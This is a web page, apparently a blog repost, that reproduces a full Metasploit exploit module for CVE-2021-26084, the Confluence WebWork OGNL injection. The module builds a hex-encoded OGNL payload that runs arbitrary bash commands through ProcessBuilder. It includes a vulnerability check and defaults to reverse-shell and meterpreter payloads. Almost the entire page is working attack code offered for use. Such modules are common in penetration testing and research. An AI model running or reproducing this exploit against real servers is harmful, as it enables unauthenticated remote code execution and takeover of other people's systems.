Monday, September 13, 2021

Atlassian Confluence WebWork OGNL Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence WebWork OGNL Injection',
'Description' => %q{
This module exploits an OGNL injection in Atlassian Confluence's
WebWork component to execute commands as the Tomcat user.
},
'Author' => [
'Benny Jacob', # Discovery
'Jang', # Analysis
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2021-26084'],
['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'],
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'],
['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'],
['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'],
['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'],
['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6']
],
'DisclosureDate' => '2021-08-25', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'], # TODO: Windows?
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false, # Tomcat user
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# /var/atlassian/application-data/confluence/analytics-logs/*.atlassian-analytics.log
# /var/atlassian/application-data/confluence/logs/atlassian-confluence.log
IOC_IN_LOGS,
ARTIFACTS_ON_DISK # CmdStager
]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
token1 = rand_text_alphanumeric(8..16)
token2 = rand_text_alphanumeric(8..16)
token3 = rand_text_alphanumeric(8..16)

res = inject_ognl("#{token1}'+'#{token2}'+'#{token3}")

return CheckCode::Unknown unless res

unless res.code == 200 && res.body.include?("#{token1}#{token2}#{token3}")
return CheckCode::Safe('Failed to test OGNL injection.')
end

CheckCode::Vulnerable('Successfully tested OGNL injection.')
end

def exploit
print_status("Executing #{payload_instance.refname} (#{target.name})")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
res = inject_ognl(ognl_payload(cmd))

unless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/)
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
end

vprint_good("Successfully executed command: #{cmd}")
end

def inject_ognl(ognl)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/pages/createpage-entervariables.action'),
'vars_post' => {
# https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/JavaCharStream.html
# https://github.com/jkuhnert/ognl/blob/f4e18cda6a89bcdad15c617c0d94013a854a1e93/src/main/java/ognl/JavaCharStream.java#L324-L341
'queryString' => Rex::Text.to_hex(ognl, '\\u00')
}
)
end

def ognl_payload(cmd)
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el---code-execution
# https://www.tutorialspoint.com/java/lang/class_forname_loader.htm
# https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html
# https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html
<<~OGNL.gsub(/^\s+/, '').tr("\n", '')
'+Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval('
new java.lang.ProcessBuilder(
"/bin/bash",
"-c",
new java.lang.String(
java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}")
)
).start()
')+'
OGNL
end

end
 

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Thanks for everything Templateism - You should have written the code a little more complicated